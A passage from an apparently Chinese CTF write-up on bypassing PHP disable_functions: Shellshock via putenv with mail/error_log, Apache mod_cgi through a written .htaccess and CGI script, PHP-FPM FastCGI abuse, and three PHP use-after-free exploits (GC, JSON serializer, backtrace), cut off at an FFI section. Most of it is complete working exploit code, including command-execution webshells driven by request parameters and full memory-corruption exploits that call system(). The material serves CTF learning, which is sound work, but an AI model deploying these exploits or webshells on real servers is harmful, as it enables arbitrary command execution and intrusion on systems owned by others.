也能看到error_log()函数会在执行sh -c -t -i

去test.php页面下就有flag了

然后就是下面两个脚本,我都不行,可能是使用方法问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//蚁剑提供的
<?php
function runcmd($c){
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if(substr($d, 0, 1) == "/" && function_exists('putenv') && (function_exists('error_log') || function_exists('mail'))){
if(strstr(readlink("/bin/sh"), "bash")!=FALSE){
$tmp=tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (function_exists('error_log')) {
error_log("a", 1);
}else{
error_log('a',1);
mail("[email protected]", "", "", "-bv");
}
}else{
print("Not vuln (not bash)\n");
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output!=""){
print($output);
}else{
print("No output, or not vuln.");
}
}else{
print("不满足使用条件");
}
}

// runcmd("whoami"); // 要执行的命令
runcmd($_REQUEST["cmd"]); // ?cmd=whoami
?>

以及下面这个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
mail("[email protected]","","","","-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

第一个来自蚁剑

第二个出处PHP Execute Command Bypass Disable_functions With Shellshock - SecPulse.COM | 安全脉搏

PHP < 5.6.2 - ‘Shellshock’ 安全模式/disable_functions绕过/命令注入 - PHP webapps 漏洞利用 (exploit-db.com)

失败截图

有知道的大佬教我一下😭

更新

果然还是看不懂源码的痛

把代码换成这个就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
mail("[email protected]","","","","-bv"); // -bv so we don't actuallysend any mail
error_log('a',1);
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

就是那个可用函数的问题,不能用mail,换成error_log就行了,但是蚁剑那个代码我换了之后还是不行。。。后面有时间在看了(又花了我50大米😭)

bypass disable_function多种方法+实例-安全客 - 安全资讯平台 (anquanke.com)

3.Apache Mod CGI

👉官方题解

了解 Apache Mod CGI 为什么会 Bypass disable_function

上面的FastCGI已经详解过了CGI了,这里大概给个解释

CGI:
CGI简单说来便是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言,linux shell,perl,vb等等都可以进行CGI编程.
MOD_CGI:
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中.

1.蚁剑

进去看到

点击GetFlag看到注入的一句话小马

点击重置(欸,没发现什么作用)

流程先走一遍

能用蚁剑连,但是/flag 这个文件是 644 权限,www-data (write-write-write)用户无法通过读文件的形式读到内容, 需要执行拥有 SUID 权限的 tac 命令(具体看 /start.sh)来获取 flag

使用「绕过 disable_functions」插件, 选择 Apache_mod_cgi 模式进行

使用条件

  1. 必须是apache环境
  2. mod_cgi已经启用
  3. 必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
  4. 必须有权限写.htaccess文件

点击「开始」按钮后,成功之后, 会创建一个新的「虚拟终端」

尝试执行命令, 成功获取flag

1
/readflag
2.手工

其实原理就是利用.htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。
这里的.htaccess文件,将所有.ant后缀的文件作为cgi脚本执行

1
2
Options +ExecCGI #表示允许CGI执行,如果AllowOverride只有FileInfo权限且本身就开启了ExecCGI的话,就可以不需要这句话了
AddHandler cgi-script .ant #告诉Apache将xx后缀名的文件当作CGI程序进行解析

再写一个shell.ant文件

1
2
#! /bin/sh
echo&&cd "/var/www/html/backdoor";tac /flag;

上传后自动生成.htaccess.bak文件

然后访问shell.ant就能执行里面的脚本了

4.PHP-FPM

👉官方题解

正常情况下, PHP-FPM 是不会对外开放的。在有 webshell 之后,这就变得不一样了。学习通过攻击 PHP-FPM 达到 Bypass 的目的。

前提知识:

php-fpm即php-Fastcgi Process Manager.
php-fpm是 FastCGI 的实现,并提供了进程管理的功能。
进程包含 master 进程和 worker 进程两种进程。
master 进程只有一个,负责监听端口,接收来自 Web Server 的请求,而 worker 进程则一般有多个(具体数量根据实际需要配置),每个进程内部都嵌入了一个 PHP 解释器,是 PHP 代码真正执行的地方。

总结来说php-fpm是一个fastcgi协议解析器,负责按照fastcgi的协议将TCP流解析成真正的数据

**PHP-FPM默认监听9000端口,我们可以自己构造fastcgi协议,和fpm进行通信。**于是就有了利用 WebShell 直接与 PHP FastCGI (FPM) 来实现Bypass Disable Functions

蚁剑

连接蚁剑,使用插件模式选择Fastcgi/PHP-FPM

注意该模式下需要选择 PHP-FPM 的接口地址, 需要自行找配置文件查 FPM 接口地址, 默认的是 unix:/// 本地 socket 这种的,如果配置成 TCP 的默认是 127.0.0.1:9000

本例中, FPM 运行在 127.0.0.1:9000 端口

会发现自动生成了.antproxy.php文件用蚁剑连,密码还是ant

然后再终端看就能获取flag了

一些疑问和解答

这里由于FPM默认监听的是9000端口,我们就可以绕过webserver,直接构造fastcgi协议,和fpm进行通信.于是就有了利用 webshell 直接与 FPM通信 来绕过 disable functions.
因为前面我们了解了协议原理和内容,接下来就是使用cgi协议封装请求,通过socket来直接与FPM通信
但是能够构造fastcgi,就能执行任意PHP代码吗?答案是肯定的,但是前提是我们需要突破几个限制:
1.第一个问题
既然是请求,那么SCRIPT_FILENAME就相当的重要,因为前面说过,fpm是根据这个值来执行php文件文件的,如果不存在,会直接返回404,所以想要利用好这个漏洞,就得找到一个已经存在的php文件,好在一般进行源安装php的时候,服务器都会附带上一些php文件,如果说我们没有收集到目标web目录的信息的话,可以试试这种办法.
2.第二个问题
我们再如何构造fastcgi和控制SCRIPT_FILENAME,都无法做到任意命令执行,因为只能执行目标服务器上的php文件.
那要如何绕过这种限制呢? 我们可以从php.ini入手.它有两个特殊选项,能够让我们去做到任意命令执行,那就是auto_prepend_file
auto_prepend_file的功能是在在执行目标文件之前,先包含它指定的文件,这样的话,就可以用它来指定php://input进行远程文件包含了.这样就可以做到任意命令执行了.
3.第三个问题
进行过远程文件包含的小伙伴都知道,远程文件包含有allow_url_include这个限制因素的,如果没有为ON的话就没有办法进行远程文件包含,那要怎末设置呢?
这里,FPM是有设置PHP配置项的KEY-VALUE的,PHP_VALUE可以用来设置php.ini,PHP_ADMIN_VALUE则可以设置所有选项.这样就解决问题了

Nginx+Php-fpm 运行原理详解 - 掘金 (juejin.cn)

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 | 离别歌 (leavesongs.com)

adoy/PHP-FastCGI-Client: Lightweight, single file, FastCGI client for PHP (github.com)

Jail break for PHP 5.3.3+ FASTCGI (github.com)

利用Thinkphp RCE以及php-fpm绕过disable function拿下菠菜-安全客 - 安全资讯平台 (anquanke.com)

5.GC UAF

理论上PHP本地代码执行漏洞都可以用来 Bypass disable_function, 比如 GC UAF

题目附件:PHP :: Bug #72530 :: Use After Free in GC with Certain Destructors

关于uaf的利用因为涉及到二进制相关的知识,笔者暂时只会用exp打打,因此这里就不多说,就暂时先稍微提一下三种uaf的利用版本及其概述,读者可以看exp作者的说明就行了

👉官方题解

利用的是PHP garbage collector程序中的堆溢出触发,影响范围为7.0-1.3

1.手工

exp地址

exploits/php7-gc-bypass at master · mm0r1/exploits (github.com)

上传exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
<?php

# Author: https://github.com/mm0r1

pwn($_POST["pass"]);

function pwn($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}

利用hackBar或者burp传递post数据就能获取数据

2.蚁剑

老样子用插件,没什么好说的

6.Json Serizlizer UAF

理论上PHP本地代码执行漏洞都可以用来 Bypass disable_function, 比如 PHP #77843 Json Serializer UAF 漏洞。

题目附件:https://bugs.php.net/bug.php?id=77843

利用json序列化中的堆溢出触发,借以绕过disable_function,影响范围是:
7.1 – all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)

1.手工

exp地址:https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
<?php

# Author: https://github.com/mm0r1

$cmd = $_POST["pass"];

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
public static $leak;
}

class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

# unable to leak ro segments
public function leak1($addr) {
global $spl1;

$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}

# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;

# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

return $leak;
}

public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);

$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');

$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();

$_protector = $this->ptr2str(0, 78);

$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');

unset($y[0]);
unset($p);

$protector = ".$_protector";

$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000

if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}

$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();

# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;

# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry

# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}

# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}

# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;

$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}

# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}

# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}

# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

$spl1->offsetGet($cmd);

exit();
}
}

$y = [new Z()];
json_encode([&$y]);

利用hackBar或者burp传递post数据就能获取数据

2.蚁剑

老样子没什么好说的,用插件就行了

7.Backtrace UAF

理论上PHP本地代码执行漏洞都可以用来 Bypass disable_function

题目附件:https://bugs.php.net/bug.php?id=76047

影响版本是7.0-7.4

1.手工

exp作者:exploits/php7-backtrace-bypass at master · mm0r1/exploits (github.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
<?php

# Author: https://github.com/mm0r1

pwn($_POST["pass"]);

function pwn($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}

利用hackBar或者burp传递post数据就能获取数据

2.蚁剑

老样子没什么好说的,用插件就行了

8.FFI扩展

FFI 扩展已经通过RFC, 正式成为PHP7.4的捆绑扩展库, FFI 扩展允许 PHP 执行嵌入式 C 代码。

简单来说

FFI提供了高级语言直接的互相调用,而对于PHP来说,FFI让我们可以方便的调用C语言写的各种库

传统的方式,当我们需要用一些已有的C语言的库的能力的时候,我们需要用C语言写wrapper,把他们包装成扩展,这个过程中就需要大家去学习PHP的扩展怎么写,当然现在也有一些方便的方式,比如Zephir. 但总还是有一些学习成本的,而有了FFI以后,我们就可以直接在PHP脚本中调用C语言写的库中的函数了。

而C语言几十年的历史中,积累了大量的优秀的库,FFI直接让我们可以方便的享受这个庞大的资源了。

PHP FFI详解 - 一种全新的PHP扩展方式 - 风雪之隅 (laruence.com)

1.手工

exp代码

1
2
3
4
5
6
7
8
9
<?php
